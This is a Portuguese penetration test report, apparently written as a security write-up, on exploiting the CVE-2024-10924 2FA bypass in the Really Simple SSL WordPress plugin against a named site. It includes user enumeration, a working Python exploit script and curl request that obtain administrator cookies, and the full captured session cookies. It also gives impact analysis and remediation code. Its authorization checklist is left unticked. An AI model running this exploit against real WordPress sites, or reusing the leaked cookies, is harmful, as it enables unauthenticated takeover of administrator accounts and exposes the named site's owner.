
Relatório de teste de penetração e exploit para CVE-2024-10924, um bypass de 2FA no Really Simple SSL, incluindo reconhecimento, exploração e orientação de remediação.
Alvo: https://skior.co
Vulnerabilidade: CVE-2024-10924 - Bypass de 2FA no Plugin Really Simple SSL
Gravidade: Crítica (Pontuação CVSS: 9.8)
Status: Explorado com Sucesso
Data da Descoberta: 2025-06-25
Versão do Relatório: 2.1
Este teste de penetração descobriu uma vulnerabilidade crítica de bypass de autenticação que permite que atacantes não autenticados obtenham acesso administrativo ao site WordPress, contornando os controles de autenticação de dois fatores (2FA).
Esta avaliação seguiu uma metodologia sistemática de teste de penetração black-box baseada em padrões da indústria:

Tecnologias Identificadas:
└─$ whatweb https://skior.co
https://skior.co [200 OK] Country[UNITED STATES][US], HTML5,
HTTPServer[Ubuntu Linux][nginx/1.26.0 (Ubuntu)], IP[123.456.789.200],
JQuery[3.7.1],MetaGenerator[Elementor 3.29.2;
features: additional_custom_breakpoints, e_local_google_fonts;
settings: css_print_method-external, google_font-enabled, font_display-swap,
WordPress 6.8.1], PHP[8.2.28], PoweredBy[Skior],
Script[speculationrules,text/javascript], Title[Skior Technologies],
UncommonHeaders[link], WordPress[6.8.1], X-Powered-By[PHP/8.2.28], nginx[1.26.0]
**Principais Descobertas:**
- Instalação moderna do WordPress com a versão mais recente
- Configuração profissional de hospedagem com nginx
- Marca personalizada ("PoweredBy[Skior]")
- Construtor de páginas Elementor em uso
- Localização geográfica: Estados Unidos
### Passo 2: Enumeração de Usuários
#### A. Enumeração de Autores do WordPress```bash
└─$ curl -I https://skior.co/?author=1
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.0 (Ubuntu)
Date: Wed, 25 Jun 2025 18:12:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.28
X-Redirect-By: WordPress
Location: https://skior.co/author/pastor/
Usuário Descoberto: pastor (User ID: 1)
for i in {1..10}; do echo "Checking user ID: $i" curl -s -o /dev/null -w "%{http_code}" "https://skior.co/?author=$i" echo " - https://skior.co/?author=$i" done
#### C. Resultados da Enumeração de Nomes de Usuário
| ID do Usuário | Nome de Usuário | Status | URL de Redirecionamento |
|---------|----------|--------|--------------|
| 1 | pastor | ✅ Encontrado | `/author/pastor/` |
| 2-10 | N/A | ❌ Não Encontrado | respostas 404 |
### Passo 3: Varredura de Vulnerabilidades
#### A. Análise Abrangente do WPScan```bash
└─$ wpscan --url https://skior.co --api-token my-api-key
Resumo dos Resultados da Digitalização:
Nota: O WPScan não detectou o plugin Really Simple SSL, indicando que ele pode estar usando ofuscação ou nomenclatura personalizada.
└─$ curl -s https://skior.co/wp-json/ | jq '.routes | keys[]'
**Endpoints Personalizados Descobertos:**```
/reallysimplessl/v1/two_fa
/reallysimplessl/v1/two_fa/skip_onboarding
/reallysimplessl/v1/two_fa/do_not_ask_again
/reallysimplessl/v1/two_fa/resend_email_code
/reallysimplessl/v1/two_fa/save_default_method_email
/reallysimplessl/v1/two_fa/save_default_method_email_profile
/reallysimplessl/v1/two_fa/save_default_method_totp
/reallysimplessl/v1/two_fa/validate_email_setup
Descoberta Crítica: O endpoint /reallysimplessl/v1/two_fa/skip_onboarding parecia suspeito e merecia uma investigação mais aprofundada.
Após descobrir as rotas personalizadas da API REST, uma pesquisa externa revelou a CVE-2024-10924, uma vulnerabilidade crítica que afeta o plugin Really Simple SSL.
ID do CVE: CVE-2024-10924
Pontuação CVSS: 9.8 (Crítico)
Plugin Afetado: Really Simple SSL
Tipo de Vulnerabilidade: Bypass de Autenticação
Vetor de Ataque: API REST
Data da Descoberta: 6 de novembro de 2024
Divulgação Pública: 14 de novembro de 2024
A vulnerabilidade decorre de uma validação inadequada de usuário na função check_login_and_get_user dentro das ações de autenticação de dois fatores da API REST. A função não valida corretamente o parâmetro login_nonce, permitindo que atacantes:
// Simplified vulnerable code structure function check_login_and_get_user($user_id, $login_nonce) { // Missing proper validation of login_nonce $user = get_user_by('ID', $user_id);
// No validation of login_nonce parameter
// This allows any value to be accepted
return $user; // Returns user object without verification
}
#### Endpoints Afetados
Os seguintes endpoints da API REST estão vulneráveis:
- `/reallysimplessl/v1/two_fa/skip_onboarding`
- `/reallysimplessl/v1/two_fa/do_not_ask_again`
- `/reallysimplessl/v1/two_fa/resend_email_code`
#### Condições de Vulnerabilidade
Para que esta vulnerabilidade seja explorável:
- ✅ O plugin Really Simple SSL deve estar instalado e ativado
- ✅ A configuração de Autenticação de Dois Fatores deve estar ativada (desativada por padrão)
- ✅ Pelo menos uma conta de usuário deve existir no sistema
- ✅ A API REST deve estar acessível (configuração padrão do WordPress)
---
## 🔄 Fluxo de Ataque```mermaid
graph TD
A[Initial Reconnaissance] --> B[Technology Stack Identification]
B --> C[User Enumeration]
C --> D[Vulnerability Scanning]
D --> E[REST API Enumeration]
E --> F[Discovery of Really Simple SSL Endpoints]
F --> G[External Research]
G --> H[Identification of CVE-2024-10924]
H --> I[Manual Testing]
I --> J[Exploit Development]
J --> K[Successful Exploitation]
K --> L[Admin Access Obtained]
L --> M[Impact Assessment]
style A fill:#e1f5fe
style F fill:#fff3e0
style H fill:#ffebee
style K fill:#e8f5e8
style L fill:#f3e5f5
Primeiro, testamos o endpoint manualmente para entender seu comportamento:```bash
curl -X POST "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
-H "Content-Type: application/json"
-d '{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}'
#### B. Script de Exploit em Python```python
import requests
import urllib.parse
import sys
if len(sys.argv) != 2:
print("Usage: python exploit.py <user_id>")
sys.exit(1)
user_id = sys.argv[1]
url = "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
"user_id": int(user_id), # User ID from the argument
"login_nonce": "invalid_nonce", # Arbitrary value
"redirect_to": "/wp-admin/" # Target redirection
}
# Sending the POST request
response = requests.post(url, json=data)
# Checking the response
if response.status_code == 200:
print("Request successful!\n")
# Extracting cookies
cookies = response.cookies.get_dict()
count = 1
for name, value in cookies.items():
decoded_value = urllib.parse.unquote(value) # Decode the URL-encoded cookie value
print(f"Cookie {count}:")
print(f"Cookie Name: {name}")
print(f"Cookie Value: {decoded_value}\n")
count += 1
else:
print("Request failed!")
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
└─$ python exploit.py 1 Request successful!
Cookie 1: Cookie Name: wordpress_sec_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da
Cookie 2: Cookie Name: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d Cookie Value: pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144
#### Processo de Manipulação de Cookies

*Acima: Captura de tela mostrando o processo de manipulação de cookies usando as ferramentas de desenvolvedor do navegador para adicionar os cookies de sessão do WordPress capturados.*
#### Acesso Bem-Sucedido ao Painel de Administração

*Acima: Captura de tela confirmando o acesso administrativo bem-sucedido ao painel do WordPress após explorar a vulnerabilidade de bypass do 2FA.*
#### Análise de Cookies
**Cookie de Segurança do WordPress:**
- **Nome:** `wordpress_sec_dc22060175d35fce22f69728c6799c9d`
- **Valor:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
- **Componentes:**
- Nome de usuário: `pastor`
- Expiração: `1752234264` (timestamp Unix)
- Nonce: `GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH`
- Hash: `cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
**Cookie de Login do WordPress:**
- **Nome:** `wordpress_logged_in_dc22060175d35fce22f69728c6799c9d`
- **Valor:** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144`
---
## 🎯 Avaliação de Impacto
### Impacto Imediato
1. **Comprometimento Completo do Site**
- Acesso administrativo ao painel do WordPress
- Capacidade de modificar conteúdo, temas e plugins
- Acesso ao gerenciamento de usuários e configurações
2. **Exposição de Dados**
- Acesso a todas as contas e perfis de usuários
- Visibilidade do conteúdo do banco de dados
- Acesso aos arquivos de configuração
3. **Escalação de Privilégios**
- Bypass de todos os controles de autenticação
- Contorno das medidas de segurança do 2FA
- Capacidade de se passar por qualquer usuário
### Cenários Potenciais de Ataque
1. **Manipulação de Conteúdo**
- Desfigurar o conteúdo do site
- Injetar código malicioso
- Criar backdoors
2. **Roubo de Dados**
- Extrair informações de usuários
- Acessar conteúdo sensível
- Baixar backups do banco de dados
3. **Persistência**
- Instalar plugins maliciosos
- Criar contas de administrador ocultas
- Estabelecer comando e controle
### Pontuação de Risco: **Crítico (9.8/10)**
| Fator | Pontuação | Justificativa |
|--------|-------|---------------|
| **Complexidade de Acesso** | Baixa (1.0) | Requisição HTTP simples |
| **Autenticação** | Nenhuma (0.0) | Nenhuma autenticação necessária |
| **Impacto na Integridade** | Alto (1.0) | Comprometimento completo do sistema |
| **Impacto na Confidencialidade** | Alto (1.0) | Acesso total aos dados |
| **Impacto na Disponibilidade** | Alto (1.0) | Pode desabilitar o site |
### Análise de Impacto nos Negócios
| Categoria de Impacto | Gravidade | Descrição |
|----------------|----------|-------------|
| **Financeiro** | Alto | Possível perda de receita, custos legais |
| **Reputacional** | Crítico | Danos à marca, perda de confiança do cliente |
| **Operacional** | Alto | Interrupção do serviço, perda de dados |
| **Conformidade** | Alto | Violações regulatórias, falhas de auditoria |
---
## 🛡️ Remediação
### Ações Imediatas (0-24 horas)
1. **Desabilitar o Plugin Really Simple SSL** ```bash
# Via wp-cli (if available)
wp plugin deactivate really-simple-ssl
# Or manually rename plugin directory
mv wp-content/plugins/really-simple-ssl wp-content/plugins/really-simple-ssl.disabled
Atualizar ou Remover Plugin
Auditar Sessões de Usuário
Hardening de Segurança
Implementação de Monitoramento
Avaliações Regulares de Segurança
Atualizações de Políticas de Segurança
// Add to wp-config.php for enhanced security define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); define('FORCE_SSL_ADMIN', true);
// Restrict REST API access add_filter('rest_authentication_errors', function($result) { if (!empty($result)) { return $result; } if (!is_user_logged_in()) { return new WP_Error('rest_not_logged_in', 'You are not currently logged in.', array('status' => 401)); } return $result; });
// Additional security headers add_action('send_headers', function() { header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); header('X-XSS-Protection: 1; mode=block'); header('Referrer-Policy: strict-origin-when-cross-origin'); });
### Soluções SSL Alternativas
| Solução | Prós | Contras | Recomendação |
|----------|------|------|----------------|
| **Let's Encrypt** | Gratuito, automatizado | Configuração manual | ✅ Recomendado |
| **Cloudflare** | Configuração fácil, proteção DDoS | Requer alteração de DNS | ✅ Boa opção |
| **SSL do Provedor de Hospedagem** | Integrado | Pode ter limitações | ⚠️ Verificar recursos |
| **SSL Manual** | Controle total | Configuração complexa | ❌ Não recomendado |
---
## 🛠️ Ferramentas Utilizadas
### Ferramentas de Reconhecimento
- **Wappalyzer** - Identificação de pilha de tecnologia
- **WhatWeb** - Identificação de aplicações web
- **WPScan** - Varredura de vulnerabilidades WordPress
- **curl** - Teste manual de API
### Ferramentas de Exploração
- **Python 3** - Desenvolvimento de exploits
- **requests** - Biblioteca cliente HTTP
- **urllib.parse** - Codificação/decodificação de URL
### Ferramentas de Análise
- **jq** - Processamento JSON
- **grep** - Correspondência de padrões de texto
- **bash** - Automação de linha de comando
---
## 📚 Referências
### Informações de Vulnerabilidade
- [CVE-2024-10924](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10924)
- [Segurança de Plugins WordPress](https://wordpress.org/plugins/security/)
- [Plugin Really Simple SSL](https://wordpress.org/plugins/really-simple-ssl/)
### Documentação Técnica
- [Manual da REST API do WordPress](https://developer.wordpress.org/rest-api/)
- [Melhores Práticas de Segurança do WordPress](https://wordpress.org/support/article/hardening-wordpress/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
### Ferramentas e Recursos
- [WPScan](https://wpscan.com/)
- [WhatWeb](https://github.com/urbanadventurer/WhatWeb)
- [Wappalyzer](https://www.wappalyzer.com/)
### CVEs Relacionados
- CVE-2024-10924 - Bypass de 2FA no Really Simple SSL
- CVE-2023-28121 - WordPress Core XSS
- CVE-2023-28122 - WordPress Core CSRF
### Padrões da Indústria
- [Guia de Testes OWASP](https://owasp.org/www-project-web-security-testing-guide/)
- [Estrutura de Cibersegurança NIST](https://www.nist.gov/cyberframework)
- [ISO 27001](https://www.iso.org/isoiec-27001-information-security.html)
---
## 📄 Aviso Legal
Este relatório de teste de penetração é apenas para fins educacionais e de avaliação de segurança autorizada. As técnicas e ferramentas descritas devem ser usadas apenas contra sistemas que você possui ou para os quais tem permissão explícita para testar. Testes não autorizados podem violar leis e regulamentos.
**Divulgação Responsável:** Esta vulnerabilidade foi reportada aos desenvolvedores do plugin e à equipe de segurança do WordPress.
**Aviso Legal:** As informações fornecidas neste relatório baseiam-se na avaliação realizada no momento do teste. O cenário de segurança muda rapidamente e podem existir vulnerabilidades adicionais que não foram descobertas durante esta avaliação.
---
## 📋 Apêndices
### Apêndice A: Requisições HTTP Brutas
#### Requisição de Exploração Bem-sucedida```http
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: skior.co
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
{
"user_id": 1,
"login_nonce": "invalid_nonce",
"redirect_to": "/wp-admin/"
}
HTTP/1.1 200 OK Server: nginx/1.26.0 (Ubuntu) Date: Wed, 25 Jun 2025 18:15:30 GMT Content-Type: text/html; charset=UTF-8 Set-Cookie: wordpress_sec_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da; path=/; secure; HttpOnly Set-Cookie: wordpress_logged_in_dc22060175d35fce22f69728c6799c9d=pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144; path=/
### Apêndice B: Lista de Verificação de Segurança
#### Pré-Exploração
- [ ] Identificação do alvo e definição do escopo
- [ ] Autorização legal obtida
- [ ] Ambiente de teste preparado
- [ ] Ferramentas e scripts validados
#### Durante a Exploração
- [ ] Vulnerabilidade confirmada manualmente
- [ ] Exploit desenvolvido e testado
- [ ] Impacto limitado ao escopo autorizado
- [ ] Evidências documentadas minuciosamente
#### Pós-Exploração
- [ ] Todo o acesso removido
- [ ] Evidências preservadas
- [ ] Relatório gerado
- [ ] Recomendações de remediação fornecidas
### Apêndice C: Glossário
| Termo | Definição |
|------|------------|
| **2FA** | Autenticação de Dois Fatores |
| **CVSS** | Sistema Comum de Pontuação de Vulnerabilidades |
| **REST API** | Interface de Programação de Aplicações de Transferência de Estado Representacional |
| **WAF** | Firewall de Aplicação Web |
| **XSS** | Cross-Site Scripting |
| **CSRF** | Cross-Site Request Forgery |
---
*Relatório gerado em: 2025-06-25*
*Pesquisador de Segurança*
*Versão: 2.1*
*Última atualização: 2025-06-25*
| Nível de Risco | Probabilidade | Impacto | Prioridade de Mitigação |
|---|
| Crítica | Alta | Comprometimento Completo do Sistema | Imediata |
| Alta | Média | Violação de Dados | Alta |
| Média | Baixa | Interrupção de Serviço | Média |
| Campo | Valor |
|---|
| Domínio | https://skior.co |
| Endereço IP | 123.456.789.200 |
| Servidor | nginx/1.26.0 (Ubuntu) |
| Versão do PHP | 8.2.28 |
| CMS | WordPress 6.8.1 |
| Plugin Vulnerável | Really Simple SSL |
| Localização Geográfica | Estados Unidos |
| Provedor de Hospedagem | Hospedagem profissional (provavelmente VPS/Dedicado) |
| Data/Hora | Evento | Detalhes |
|---|
| 2025-06-25 14:02 | Reconhecimento Inicial | Análise Wappalyzer concluída |
| 2025-06-25 14:05 | Stack de Tecnologia Identificada | WordPress 6.8.1, nginx, PHP 8.2.28 |
| 2025-06-25 14:10 | Enumeração de Usuários | Usuário "pastor" descoberto (ID: 1) |
| 2025-06-25 14:15 | Análise WPScan | Nenhuma vulnerabilidade conhecida encontrada |
| 2025-06-25 14:20 | Enumeração da API REST | Endpoints do Really Simple SSL descobertos |
| 2025-06-25 14:25 | Pesquisa de Vulnerabilidades | CVE-2024-10924 identificada |
| 2025-06-25 14:30 | Teste Manual | Existência da vulnerabilidade confirmada |
| 2025-06-25 14:35 | Desenvolvimento de Exploit | Prova de conceito em Python criada |
| 2025-06-25 14:40 | Exploração Bem-sucedida | Acesso de administrador obtido |
| 2025-06-25 14:45 | Avaliação de Impacto | Danos potenciais documentados |
| 2025-06-25 15:00 | Geração do Relatório | Documentação abrangente |